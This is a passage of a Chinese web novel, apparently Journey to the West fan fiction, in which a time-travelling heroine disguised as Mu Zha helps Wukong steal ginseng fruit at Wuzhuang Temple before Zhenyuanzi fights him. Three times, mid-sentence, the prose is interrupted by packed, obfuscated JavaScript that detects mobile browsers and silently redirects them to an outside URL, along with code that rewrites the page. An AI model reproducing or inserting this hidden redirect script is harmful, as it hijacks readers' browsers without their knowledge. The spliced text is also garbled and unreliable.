唐僧骑着白马走在前面,一脸疲惫。悟空蹲在马背上,尾巴一晃一晃的,那双火眼金睛好奇地四处打量着。八戒扛着钉耙,一边走一边抱怨。沙僧挑着担子,沉默地跟在最后。 肖小夭看见沙僧,眼睛眯了眯。 拍她屁股?扛她跑?扔她上骷髅筏子? 哼!今天让你这老实和尚也尝尝被“美女”调戏的滋味! 她看向悟空。 他的目光随意地扫过院子,扫过她,停了微不可察的一瞬。 随后,他的嘴角微微勾了勾,眼底闪过一丝只有她能懂的了然。 肖小夭心里一动。 他认出她了。 每次见面他都能认出她,她已经习惯了这种默契。 但这次,好像又有点不一样。 他的目光在她身上多停了足足两秒,从上到下,仔细地打量了一番,然后才若无其事地移开。 那目光……好像带着点惊讶,带着点意外,又带着点……欣赏? 肖小夭下意识地低头看了看自己这身粉色襦裙的打扮。 确实挺好看的。嗯,猴子不错,有眼光。 她心里有点小得意。 师徒四人在正厅坐定,妇人开始介绍家世——丈夫死了,留下万贯家财,三个女儿待字闺中,想招个上门女婿,一同享福。 唐僧听得直冒汗,连声念阿弥陀佛。 悟空坐在一边,翘着二郎腿,抱着金箍棒,一副看好戏的表情。但他的眼睛,却时不时地往肖小夭这边瞟一下。每次瞟过来,都停留得比平时久一点。 肖小夭注意到了,但她假装没看见,继续站在角落里当个称职的丫鬟。 八戒的眼睛倒是没往她这边看,他的目光都快粘在那三个“姑娘”身上了,口水直流。 只有沙僧,低着头,一言不发,像个木头人一样坐在角落里。 肖小夭看着他,嘴角微微勾起一个恶作剧的弧度。 机会来了! 她端起一个茶盘,上面放着几杯热茶,款步走到沙僧面前。 “长老,请用茶。”她轻声细语,声音软糯,故意带着点娇俏,身子还微微前倾,假装不经意地擦过了沙僧的手臂。 沙僧像触电般猛地一颤,整个人都往后退了一步。他猛地抬起头,那张黝黑的脸上竟然浮起一丝可疑的红晕,眼神闪躲着不敢看她。 “姑、姑娘,不用了,我……我不喝茶……” 肖小夭心里那个爽啊! 让你拍我屁股!让你扛我!让你扔我上筏子! 现在知道害羞了?! 她故意没走,站在他旁边,微微弯着腰,再次将茶盘往前递了递。 “长老,路途辛苦,喝一杯吧。” 沙僧手足无措,接过茶杯,喝也不是,不喝也不是。他偷偷瞥了肖小夭一眼,又赶紧低下头,耳朵都红透了。 八戒在旁边看得眼睛都直了。 “哎哟!这小丫鬟,长得可真水灵!”他嘿嘿笑着凑过来,语气轻佻,“小娘子,今年多大了?可曾许配人家?” 肖小夭看了他一眼,面无表情地往后退了一步,避开了八戒的靠近。 八戒还想再凑,结果腰间猛地一紧,被悟空一尾巴狠狠抽了一鞭子。 “哎哟!”八戒捂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347406|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着被抽红的鼻子,疼得直跳脚,“大师兄你干嘛?!” 悟空收回尾巴,目光却依旧落在肖小夭身上,警告性地瞪了一眼八戒:“让你谁都调戏!当着老孙的面还敢瞎胡闹!” 那目光,比刚才更直接、更明目张胆了。 肖小夭对上他的视线,心跳又漏了一拍。 她知道他认出她了。她知道他是在维护她。 但她没想到他会这么直接明了地看她。 她低下头,继续站在沙僧旁边,假装没注意到。 但她心里忍不住想:他今天怎么了? ………… 八戒很快就开始了“撞天婚”的闹剧。 他被蒙上眼睛,在院子里扑来扑去,追逐着三个“女儿”的笑声。八戒一会儿往左扑,扑了个空;一会儿往右扑,又扑了个空。那副蠢相,让肖小夭站在角落里,笑得肩膀直抖。 突然,八戒跌跌撞撞地朝她这边扑了过来。 肖小夭吓了一跳,赶紧往旁边躲。 八戒扑了个空,头撞在旁边的柱子上,“咚”的一声,疼得他龇牙咧嘴,抱着头原地转圈。 肖小夭松了口气。 八戒揉着鼻子,又开始乱扑。 肖小夭在院子里躲来躲去,像在玩捉迷藏。她仗着自己身形灵活,每次八戒快要扑到的时候,都能及时闪开。 八戒被她逗得团团转,嘴里还喊着:“小娘子别跑!让我抓住了,可就是我媳妇儿了!” 肖小夭心里暗笑:想抓住我?下辈子吧! 她一个转身,想再次闪避。 结果脚下被粉色襦裙的裙摆绊了一下。 她整个人失去平衡,控制不住地往前扑去! “糟了!”肖小夭闭上眼。 预想中的疼痛没有来。 她撞进了一个温热而坚实的怀抱。 怀抱毛茸茸的,有点扎脸,带着熟悉的山野气息和淡淡的妖气。 肖小夭猛地睁开眼。 悟空正低头看着她。 距离太近了。近到她能看清他脸上细密的金色绒毛,能看清他那双火眼金睛里细碎跳跃的流光。近到她能清晰地听到他胸膛里,那颗强劲的心脏正在比平时更快地跳动着。 他的尾巴竖得笔直,一动不动。耳朵微微颤了颤,耳尖似乎有点泛红。 肖小夭一时怔住了。 她就那么趴在他的怀里,抬头看着他,所有感官都被拉到了极致。 悟空也没动。 他就那么低头看着她,目光灼灼。 过了几秒,他开口了。 声音比平时低沉了一点,带着点戏谑,带着点沙哑。 “没想到……”他说,“你还挺能闹腾的。” 肖小夭回过神来。 她知道他认出她了。她本来就不意外。 她意外的是他看她的目光。 那目光和之前任何一次都不一样。 不是好奇,不是玩味,不是戏弄,而是……一种直白的欣赏,一种被她吸引的,赤裸裸的凝视。 他就那么直直地看着她,眼睛里亮亮的,仿佛在看什么稀罕的珍宝。 肖小夭心里有点小得意。 她现在这身打扮,确实挺好看的。被多看两眼也正常。 她从他怀里挣出来,稍微整理了一下凌乱的衣裳。 “闹腾怎么了?”她眉眼弯弯,语气带着少女的娇嗔,“这不才热闹嘛?” 悟空盯着她看了两秒,突然笑了。 那笑容和之前都不一样,带着点意外,带着点赞赏,还带着点……一种豁然开朗的了悟。 “是挺热闹。”他说,声音带着一丝不易察觉的愉悦。 远处,八戒还在院子里蒙着眼,像只无头苍蝇般乱扑腾,完全没注意到这边的“小插曲”。 肖小夭站在悟空旁边,看着八戒那副蠢样,忍不住“噗嗤”一声笑出了声。 悟空也笑了。 两人并肩站着,看着八戒出丑,画面竟然意外地和谐。 ………… 远处,观音菩萨站在廊下,慈悲的目光落在悟空和肖小夭身上。 她的嘴角微微上扬,眼中闪过一丝意味深长的笑意。 “原来……一块冥顽不化的顽石,也是会……动心的啊。”她轻声自语。 声音很轻很轻,只有她自己能听见。 18. 帮凶的自我修养 肖小夭是被一阵极其奇异、几乎能勾出人魂儿来的香味给馋醒的。 那香味简直不讲道理,不像人间花草,也不像名贵的檀香,反而像是一百种熟透的仙果被揉碎了凝在一起。光是闻上一口,肖小夭就觉得浑身十万八千个毛孔都舒张开了,嘴里的唾液不由自主地疯狂分泌。 她睁开眼,发现自己正站在一座气势恢宏的道观门前。 青砖黛瓦,飞檐斗拱,大门上方的匾额写着三个铁画银钩的大字:**万寿山五庄观**。 门前那两棵老松树粗得不像话,树干虬结如龙,松针翠绿欲滴。 她赶紧低头确认了一下装备——白衣、长剑、红葫芦。 很好,SSR账号“木吒”还在,没掉线! 【系统】:宿主当前身份:惠岸行者木吒。 【系统】:当前时间点:取经团队抵达五庄观。 【系统】:临时任务触发:镇元大仙乃地仙之祖,与菩萨有旧。请借送信之名进入道观,近距离观察(围观)取经团动向。任务奖励:存活时间延长,随机掉落法力碎片。 肖小夭心领神会,摸了摸袖子,果然有一封带着莲花冷香的淡青色书信。 就在这时,两扇朱红大门“吱呀”一声开了。 两个粉雕玉琢、却穿着一身青色道袍的小童走了出来。高的清秀,矮的圆润,手里都捏着拂尘。 “哎哟,这不是南海的惠岸行者吗?”清风眼尖,瞧见肖小夭,先是一愣,随即赶紧堆起笑脸行礼,“哪股仙风把您给吹来了?” 肖小夭端着木吒那副清冷淡然的神仙架子,微微颔首:“菩萨有封信要呈给镇元大仙。听闻东土取经人已到此地,菩萨担心那泼猴性子顽劣,也命我顺道照看一二。” “到了到了!师父出门前特意交代,那唐长老是他的故人,咱们正伺候着呢。”明月热情地侧过身,“行者快请进,师父虽不在家,但礼数可不能差了。” 肖小夭背着手,慢悠悠地跟进了道观。 五庄观内别有洞天。穿过几道幽静的回廊,绕过几个清澈的鱼池,肖小夭只觉得那股奇异的果香越来越浓。 穿过一个月亮门,眼前的景象让她彻底呆住了。 那是一棵高耸入云的巨树。 树干粗壮得简直像一座小山,枝叶繁密得遮天蔽日。阳光透过层叠的绿叶,照在那些垂挂的果子上。 那些果子……白嫩晶莹,手脚俱全,五官分明,活脱脱就是几十个不足月的小娃娃!有的似在酣睡,有的嘴角带笑,周身泛着一层柔和的莹光,在微风中轻轻晃动,仿佛还在呼吸。 这就是人参果。 三千年开花,三千年结果,三千年成熟,吃一个能活四万七千年的逆天神物。 肖小夭悄悄咽了口唾沫,心跳得像擂鼓。这玩意儿长得也太像小孩了,难怪唐僧那怂包不敢吃。可她肖小夭不同啊,她是现代人,在她眼里,这哪是小孩?这是成精的超级维生素啊! “行者,请随我往正殿用茶。”清风见她看得入神,不免有些得意地介绍,“这宝贝,三界之内,唯此一家。” 肖小夭强行收回粘在果子上的目光,保持着高冷姿态进了大殿。 正殿里,唐僧正和八戒、沙僧坐着喝茶。 唐僧白白净净,正一脸虔诚地跟两名童子探讨佛理。沙僧老老实实守在担子旁。 而八戒,正捧着茶杯,一张长脸写满了心不在焉,小眼睛一个劲儿地往窗外偷瞄。 唯独不见那只猴子。 肖小夭目光一扫,在那扇雕花木窗的窗台上,看见了一个毛茸茸的、金色的背影。 悟空正蹲在窗台上,尾巴尖儿一甩一甩的。 几乎就在肖小夭踏入大殿的一瞬间,那尾巴诡异地停了一秒,然后晃动的频率突然变快了。 “唐长老。”肖小夭拱手打个招呼。 “哎呀,行者!”唐僧赶紧起身还礼,“菩萨近来可好?” “菩萨一切安好,命我前来送信。” 八戒听见声音,转过头来,一见肖小夭,那双猪眼里瞬间迸发出极其复杂的光芒。 “哟!行者大人!”八戒凑上来,嘿嘿直笑,那笑容里带着点狐疑,“咱们这缘分,真是没谁了。上次在那庄子里,咱们见的是一位极俊俏的丫头,跟行者长得简直一模一样,俺老猪现在还纳闷呢……” 肖小夭面不改色,淡淡回道:“那是舍妹。菩萨座下,也有女眷。” “哦——原来是令妹!”八戒恍然大悟,自以为发现了真相,贼兮兮地笑,“怪不得,怪不得!” 沙僧也抬起头,对上肖小夭的目光,那张老实的黑脸瞬间又红到了脖子根,呐呐地喊了声“行者”,就赶紧低头装死。 肖小夭坐下喝茶,眼角余光却一直盯着窗台。 突然,窗台上那道金光一闪,猴子不见了。 紧接着,肖小夭觉得自己的后领子被人极其隐秘地拽了一下。 她借口出门透气,避开清风明月的视线,一转身,就被一股大力拽到了回廊阴影里的死角。 悟空正双手抱胸靠在柱子上,金灿灿的猴脸上带着一丝玩世不恭的笑意。他上下打量着肖小夭这身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347407|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白衣,啧啧称奇:“行啊,送信送到这儿来了?菩萨这差事派得可真准。” 肖小夭没好气地拍开他的手:“怎么?大圣这是想我了?” 悟空盯着她,那双火眼金睛像是在阳光下燃烧,嘴角一翘,凑到她耳边压低声音: “想倒是没空。不过……刚才在后院,我看你盯着那树上的‘娃娃’,口水都快流到衣领子上了。” 肖小夭老脸一红:“胡说。” “行了,别装了。”悟空用胳膊肘撞了她一下,眼神往人参果园的方向示意,“那果子,老孙刚才去探过了,闻着确实是绝世的好东西。就是那两个小童子小气得紧,只给那秃和尚送了两个,和尚还不敢吃,最后便宜了那两个道童,当面给嚼了。啧啧,馋得那呆子直撞墙。” 肖小夭听着这熟悉的剧情走向,心跳开始加速:“所以呢?大圣是想……” 悟空低低地笑了一声,那笑声在胸腔里震动,带着一股莫名的蛊惑感。 他突然倾过身,金色的睫毛在肖小夭面前抖动,声音里全是拉人下水的兴奋: “怎么样?既然来了,这一场大造化,你敢不敢跟老孙分一半?” 肖小夭屏住呼吸。 理智告诉她:你是木吒!你是菩萨的人!你现在的身份是来监督这只猴子的! 但感官在咆哮:那是人参果啊!那是四万七千年的命啊!吃了它,说不定能直接把系统搞宕机! 她对上悟空那双亮得惊人的眼睛,那眼神里写着:【我就知道,你骨子里也不是个安分的。】 肖小夭咬了咬牙,压低声音问道:“摘果子要金击子,你有?” 悟空眼睛猛地一亮,露出一个“果然上道”的表情,伸手从虚空中一抓,变出一根金灿灿的小棒子:“老孙刚才顺手‘借’来的。” 肖小夭闭了闭眼,心一横。 去他妈的人设!去他妈的菩萨! “成交。”她盯着悟空的眼睛,压低声音,语气狠辣,“我要两个。一个现在吃,一个……留着下次复活用。” 悟空愣了一下,随即爆发出一阵极低却极其畅快的笑声。 他伸出毛茸茸的手,在肖小夭头顶胡乱揉了一把。 “够爽快!那走着?你负责放风,老孙负责上树。” “走着!” 回廊尽头,一白一金两道身影,借着道观内繁复的阴影,悄无声息地朝着后院那棵震古烁今的果树潜伏而去。 肖小夭心跳如雷。 当英雄有什么意思? 当大圣的帮凶,才是真的刺激啊! 19. 喜提人参果 夜幕低垂,月明星稀。 肖小夭躲在人参果树旁边的假山后面,心跳得像擂鼓。假山堆叠得玲珑有致,石缝里生长的几丛青草恰好将她严严实实地遮蔽。她蹲伏在那里,连大气都不敢喘一口,只敢透过石缝向外窥探。 院子里月光皎洁,将那棵人参果树照得通体明亮。每一个果子都看得清清楚楚,白嫩嫩地挂在枝头,宛如一个个熟睡的婴儿,在月光下镀着一层淡淡的银辉,更添了几分诱人的魔力。 清风和明月早已在树下的竹榻上酣睡。悟空白日里给他们下的瞌睡虫果然药效惊人,这会儿两个小道童睡得像两头死猪。高的那位四仰八叉,矮的那个蜷成一团,嘴角甚至挂着口水,想必是在做什么香甜的美梦。 肖小夭看了他们一眼,在心里默默说了声“对不起”。 悟空的身影在此时无声无息地从屋顶跃下,如同幽灵般落在树下,没有发出一丁点声响。他回眸看了一眼假山的方向,冲她招了招手。 肖小夭深吸一口气,猫着腰,以最快的速度跑了过去。 两人站在树下,仰头凝视着那些果子。月光下,它们泛着莹莹的光泽,仿佛一颗颗夜明珠。一股清甜到极致的香气阵阵飘落,浓郁得有些熏人欲醉。 “哪一个?”肖小夭压低声音问。 悟空抬眼扫视,指了指树梢上最大、最饱满的那颗:“那个。看着最熟,也是最肥的。” 肖小夭情不自禁地咽了咽口水:“怎么摘?” 悟空从耳后轻轻一掏,一杆金色的秤杆瞬间显现。他将秤杆前端缩小,往那果子的蒂头轻轻一敲。 “当——”一声极轻微的脆响。 果子应声而落。肖小夭赶忙展开早已准备好的广袖,稳稳地将其接住。 那果子落入袖中,软软的,温温的,触感真的像一个刚刚出生的婴儿。隔着衣料都能感受到它散发出的微热,以及那股清甜的香气直往鼻子里钻。它还在袖子里轻轻滚动了一下,仿佛在寻找一个更舒适的姿势。 肖小夭心里有些发毛,但此时却顾不上多想。 悟空又敲了一个。 又一个。 接着是第四个。 摘了四个,悟空停了下来。“够了。”他压低声音说,“再多就不好解释了。他们树上结的本来就少,一下子少太多肯定会露馅。” 肖小夭低头看着袖子里那四个白嫩嫩的果子,它们挤作一团,隔着袖子都能感觉到它们轻微的蠕动。 “这东西……”她小声问,“真的能吃?” 悟空瞥了她一眼,嘴角勾起一抹玩味的笑:“吃了能长生不老,你不想试试?” 肖小夭的心脏漏跳了一拍。她当然想。但理智告诉她,现在不是时候。 “先放着。”她强自镇定,“等这事完了再说。” 悟空点点头,不再多言。两人悄无声息地溜回了各自的屋里。 肖小夭的客房位于院子西侧,与唐僧师徒的住处隔着一道回廊。她小心翼翼地将那四个果子用一方素净的帕子包裹好,藏入自己的包袱深处。白色的帕子裹着白嫩的果子,鼓鼓囊囊的一团。她盯着那包袱看了很久,心跳依然快得无法抑制。 偷东西。她竟然在偷东西。偷的还是人参果。 她躺在床上,翻来覆去无法入睡,脑海里全是那些果子。吃了能长生不老。长生不老。如果她能长生不老,是不是就不用再被系统一次次抹杀了?她翻了个身,盯着窗外皎洁的月光。算了,先不想了。 ………… 第二天一早,肖小夭是被一阵撕心裂肺的尖叫声吵醒的。 “谁!谁偷了人参果!” 是清风的声音,尖锐得几乎破音,嗓子都喊劈了。 肖小夭心里“咯噔”一下,一骨碌从床上爬起来。她胡乱套上外衣,推开房门,循声跑去。 跑到后院,只见清风明月站在那棵人参果树下,急得像热锅上的蚂蚁。清风的脸白得像纸,明月的眼眶红肿,眼泪在里边打着转。两个小道童在树下团团转,嘴里不停地念叨着,状若疯魔。 “四个!少了四个!”明月的声音都带着哭腔,“这可怎么办!师父回来怎么交代!” “我们怎么交代?”清风抓着自己的头发,原本整齐的发髻都散乱了,“人参果没了,我们怎么跟师父说?师父走之前千叮咛万嘱咐,让我们看好果子的!” 肖小夭站在远处,看着那两个焦急的小道童,心里虚得发慌。 悟空不知何时已悄无声息地站在她旁边,双手抱胸,一副看戏的表情。 “看你那心虚的样子。”他压低声音说,嘴角带着一丝戏谑的笑,“镇定点儿。” 肖小夭没好气地瞪了他一眼:“都怪你。” 悟空挑了挑眉,反问:“不是你答应的?” 肖小夭被噎住了。是她答应的。她认。 清风明月急得团团转了一阵,最后将矛头直指唐僧师徒。他们冲到客房,指着唐僧的鼻子破口大骂: “你们!你们这些和尚!我们好心接待你们,你们竟然偷我们的人参果!” 唐僧一脸无辜,双手合十,连声说着“贫僧不知,贫僧真的不知……” 八戒在旁边咕哝着:“偷什么偷,俺们啥时候偷了……老猪一觉睡到大天亮,啥也没干……” 清风怒视着他:“你还说!昨晚就你们在这儿!除了你们还能是谁?” 明月也附和道:“就是!我们在这儿住了这么久,从来没丢过东西!” 悟空则站在一旁,摆出一副“关我什么事”的姿态,甚至还从桌上拈了块点心,慢悠悠地吃了起来。肖小夭看着他那副悠哉的模样,差点没忍住笑出声。 然而,清风明月可不吃这一套。他们不由分说,直接将唐僧师徒四人关进了柴房,扬言要等着镇元子回来发落。 唐僧被押进去之前,还回头疑惑地看了肖小夭一眼,那眼神仿佛在问:这位惠岸行者怎么一直在这里?肖小夭赶紧低下头,假装没看见。 柴房里,四人被绑得结结实实。唐僧靠着柱子,闭目念经。悟空蹲在角落,绳索捆着他的身体,脸上却没有丝毫焦急之色。沙僧低着头,一声不吭。 只有八戒,脸色越来越难看。 清风明月站在柴房门口,骂声不绝于耳。 “这几个贼和尚!偷了果子还不认账!” “特别是那个猪头!一看就不是好东西!肥头大耳,贼眉鼠眼,肯定是他主谋!” “就是!那猴子虽然贼,但猪头更可恶!” 肖小夭躲在柱子后面听着,都觉得耳朵嗡嗡作响。她偷偷往柴房里瞄了一眼,只见八戒的耳朵一抖一抖的,腮帮子鼓得老高,嘴里嘀嘀咕咕,不知在念叨什么。 骂声持续了一整天。从早上骂到中午,从中午骂到傍晚,从傍晚骂到天黑。两个小道童轮番上阵,嗓子都骂哑了,却依然不肯罢休。 肖小夭都开始同情八戒了。毕竟那四个果子的事,八戒是真的不知情。 ………… 夜深了。 肖小夭躺在自己屋里,辗转反侧,难以入眠。外面的骂声终于停歇,院子里重归寂静。她正迷迷糊糊要睡着,突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347408|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然听见屋外有轻微的动静。 那声音极轻,像是某种东西从窗边一掠而过。她猛地坐起身,推开窗户向外张望。 一个肥大的身影正鬼鬼祟祟地往后院方向溜去。八戒?肖小夭愣住了。他不是被绑在柴房里吗? 她赶紧披上外衣,悄悄地跟了上去。 后院,那棵人参果树静静地矗立着,剩下的果子在月光下泛着莹莹的光泽。八戒站在树下,仰着头看着那些果子,嘴里嘀嘀咕咕。 “骂我?骂我偷果子?”他的声音压得很低,但能听出那股委屈和不忿,“我明明就没吃到果子!就挨了一顿骂,还被关了一天!”他越说越气,声音都大了一点,“凭什么?” 他绕着树转了一圈,突然停了下来。“不行,我今天非得吃几个!不然这顿骂白挨了!” 说完,他念了一个咒语,摇身一变,化作一阵轻风,径直卷上树梢。 肖小夭躲在假山后面,看得目瞪口呆。这呆子,居然用三十六变跑出来偷果子? 八戒在树上变回原形,肥大的手直接伸向枝头,开始摘取。一个,两个,三个……他摘一个,就往嘴里塞一个,嚼得津津有味。眼瞅着,树上剩余的果子就不剩几个了。 肖小夭想喊他下来,又怕暴露。 就在这时,八戒往后退了一步,却不慎踩空。他那肥大的身子失去平衡,整个儿往后一仰。 “砰!” 他重重地摔在地上。更糟的是,摔下去的时候,他一头撞在了树干上。 那棵九千年的人参果树,整个儿朝一边倾斜,然后轰然倒塌。 “轰隆——” 一声震天巨响,树倒了。烟尘四起,剩下的果子滚落了一地。 八戒从树枝堆里爬出来,满脸是泥土,看着那棵倒下的巨树,彻底傻眼了。“这……这……我不是故意的!” 肖小夭捂住脸,感觉脑子嗡嗡作响,一时间不知道该说些什么。 柴房的门被猛地踹开。悟空第一个冲出来,他站在后院,看着那棵倒下的仙树,整个人都愣住了。 然后他看见了八戒。八戒站在树旁,满脸是土,手里还攥着一个没吃完的果子。 两人对视了一秒。 “呆子!!!”悟空的声音几乎震动了整个五庄观,带着滔天的怒火,“你又闯祸!!!” 八戒缩了缩脖子,往后躲了躲:“大、大师兄,我不是故意的……” “不是故意的?”悟空冲过去,一把揪住他的耳朵,“你跑出来干什么?” 八戒疼得龇牙咧嘴:“我、我就是想吃几个果子……” 悟空深吸一口气,闭了闭眼,努力平息心中的怒火。 远处,已经有急促的脚步声传来。 唐僧被沙僧扶着走了出来,看着那棵倒下的仙树,脸色瞬间变得苍白。清风明月也闻声跑来,站在树前,两人都傻了。 “树……树倒了……”清风喃喃自语。 明月则直接放声大哭起来。 肖小夭从假山后面走出来,站在悟空旁边,看着那棵倒下的树,只觉得头皮发麻。 “现在怎么办?”她小声问。 悟空还没来得及回答,天边已经传来一阵强烈的风声。 镇元子仙风道骨地从天而降,落在院子里。他看着那棵倒下的仙树,整个人瞬间僵硬。 整个院子安静得可怕。只有风吹过树叶的沙沙声,和明月的抽泣声。 肖小夭看着镇元子的脸,从红到白,从白到青,最后黑得像锅底。 完了。这回真的完了。 20. 袖里乾坤 整个院子陷入死一般的寂静。 只有风吹过树叶的沙沙声,那声音带着凄凉,因为不是活着的树叶——它们正从倒塌的树冠上飘落,一片片,在月光下轻盈坠地,仿佛一场无声的葬礼。 肖小夭死死盯着镇元子的脸,眼看着那脸色从最初的震惊通红,变得煞白,再转为铁青,最终漆黑如锅底。 完了。这次,真的彻底完了。 镇元子僵硬地站在原地,一动不动,目光像凝固了一般,死死锁定在那棵倾倒的仙树上。 九千年。三千年开花,三千年结果,三千年成熟。整整九千年,才结出区区三十个人参果。 而如今,仙树已毁,万年基业顷刻化为乌有。 肖小夭感觉自己的呼吸都快停滞了。 八戒惊恐地往后缩了一步,不慎踩到一根断裂的树枝,“咔嚓”一声,在这死寂里显得格外刺耳,仿佛敲响了末日丧钟。 镇元子终于有了动作。 他缓缓转过头,那双深邃的眼睛,准确无误地落在了八戒身上。 那眼神,肖小夭这辈子都不愿再见第二次——一种近乎诡异的平静,却能让人从骨头缝里往外冒凉气。他周身的气息骤然一变,道袍无风自动,脚下的青砖竟开始发出细微的龟裂声。 “你。”镇元子开口,声音不大,却字字如千钧巨石,让肖小夭的后背汗毛根根倒竖,“再说一遍,你刚才说了什么?” 八戒双腿一软,“扑通”一声跪倒在地,结结巴巴地求饶:“大、大仙,我……我不是故意的……” “不是故意的。”镇元子重复了一遍,竟然点了点头,语气出奇的平静,“好。不是故意的。” 他往前迈了一步。 这一步落下,地面上的青砖“咔嚓”一声,裂开一道三指宽的缝隙,裂缝像一条诡异的毒蛇,迅速向八戒脚边蜿蜒而去,碎石从两边翻滚而起。 八戒吓得肝胆俱裂,彻底瘫软在地,大声哀嚎:“大仙饶命!我赔!我赔还不行吗!” 镇元子却丝毫没有理会他。 他缓缓抬起手,广袖一挥,一股磅礴的狂风凭空而生,席卷而来。那袖口迎风便涨,瞬间铺天盖地,像一个巨大的布袋,遮蔽了半边夜空。袖口边缘泛着淡淡的青光,所过之处,空气都为之扭曲。 八戒吓得闭上了眼,以为末日降临。 然而,一道金光骤然闪过。 悟空的身影如闪电般挡在八戒身前,金箍棒横在胸前,硬生生架住了那股摄人的吸力。棒身与袖口相撞之处,迸溅出一串耀眼的火星。 “老倌,”悟空开口,声音不高不低,却带着一股不容置疑的坚韧,他那标志性的尾巴已然高高竖起,“有话好说。” 镇元子冷笑一声,语气森寒:“好说?你让开。” 悟空纹丝不动。 “这呆子是我师弟,”他沉声说,“他闯了祸,俺老孙替他担着。你要打要罚,冲我来。” 镇元子锐利的目光在悟空身上停留了足足两秒。 “好。”他终于开口,带着一丝决绝,“那就连你一起收!” 话音未落,那巨大的袖子已如闪电般再次挥来,吸力更盛。 悟空不避不让,金箍棒迎头撞上。 “砰——” 金箍棒与袖子相撞,发出一声沉闷的巨响。出乎意料的是,那袖子竟然纹丝不动,反而如同活物般,将金箍棒牢牢裹了进去。棒身上耀眼的金光与袖口的青光纠缠在一起,发出令人牙酸的“滋滋”声。 悟空往回一抽,竟然纹丝不动。 “嗯?”他愣了一下,眉毛高高挑起,眼中闪过一丝惊讶。 镇元子冷哼一声,袖子猛地一抖,一股沛然大力传来,试图将悟空整个人都卷入其中。 悟空脚下生根,如同磐石般死死稳住身形。他双手紧握棒子,肌肉贲张,猛地往后一拽,竟硬生生将那袖子拽回了三尺。 镇元子脸色微变。 “有点力气。”他淡淡地说。 悟空咧嘴一笑,露出尖锐的獠牙:“俺老孙别的没有,力气有的是!” 话音刚落,他整个人凌空跃起,借着袖子的反作用力,在空中一个漂亮的翻腾,金箍棒呼啸着,朝着镇元子当头砸下。 这一棒势若奔雷,又快又狠,带着撕裂空气的破空之声。 镇元子侧身一躲,同时袖子一挥,巧妙地将那千钧之力卸到旁边。 “轰——” 金箍棒狠狠砸在地上,青砖瞬间四分五裂,碎石飞溅,如弹丸般射向四壁,在墙上留下一个个深浅不一的小坑。 肖小夭站在远处,一颗碎石恰好击中小腿,疼得她龇牙咧嘴。但她顾不上疼痛,眼睛死死地盯着眼前这场惊心动魄的战斗。 悟空一击不中,落地后顺势一滚,金箍棒横扫而出,直取镇元子下盘。 镇元子脚尖轻点,整个人飘然而起,那宽大的袖子从空中向下猛然一卷,再次将金箍棒牢牢缠住。 两人一个在地上,一个在半空,金箍棒与袖子胶着缠绕,谁也不肯先行松手。 悟空双手紧握棒身,青筋暴起,全力向下拽动。 镇元子则单手拈诀,袖口青光闪烁,向上猛然一提。 两股惊人的力量僵持不下,整个院子里的空气都仿佛扭曲凝滞了。地上的碎石被震得不断跳动,发出“咯咯”的骇人声响。 肖小夭感觉胸口发闷,呼吸困难,像是有什么无形的山峦压在心头。 她往后退了一步,又退了一步,直到后背紧紧贴上冰冷的墙壁。 八戒不知何时已爬到她身旁,缩成一团,双手紧紧捂着头。 “完了完了完了……”他嘴里不断地嘟囔着,“大师兄要被打死了……” 肖小夭猛地瞪了他一眼:“你闭嘴!” 八戒吓得立刻委屈地闭上了嘴。 战场之上,悟空突然发出一声震天暴喝,金箍棒金光大盛。他猛地使出全身力气,竟然将镇元子从半空中硬生生拽了下来。 镇元子落地,脚下一错,袖子瞬间脱离金箍棒,身形如同鬼魅般向旁边一闪。 悟空那一棒紧随而至,狠狠砸在他刚才站立之处,地面再次多了一个深坑。 “好。”镇元子稳住身形,目光灼灼地看着悟空,“不愧是大闹天宫的齐天大圣。” 悟空咧嘴一笑,露出尖锐的獠牙:“老倌,你也不赖。” 镇元子没有再多言。 他双手一展,两只袖子同时张开,瞬间铺天盖地,以更加磅礴的气势向悟空罩去。 悟空脸色骤变,金箍棒舞得密不透风,形成一道金色的光幕,将自己全身护得严严实实。 然而,那袖子却诡异无比,软绵绵的,无论悟空如何攻击,都无法真正打透。他砸向左边,左边袖子便轻巧地缩回;他打向右边,右边袖子又卷曲而来。两边的袖子如同两只巨大而灵活的手臂,轮番向他发起攻击。 悟空左支右绌,渐渐落入下风。 他一棒子打向左边的袖子,右边的袖子便趁虚而入,迅捷地卷住了他的腰身。 他猛地一挣,挣开了。左边的袖子却又紧接着缠住了他的脚踝。 他再次挣扎,刚刚挣脱,右边的袖子又出其不意地卷住了他的金箍棒。 如此几个回合下来,悟空的动作明显变得迟缓,疲态渐显。 肖小夭看得心都提到了嗓子眼。她从未见过悟空如此狼狈。 “砰——” 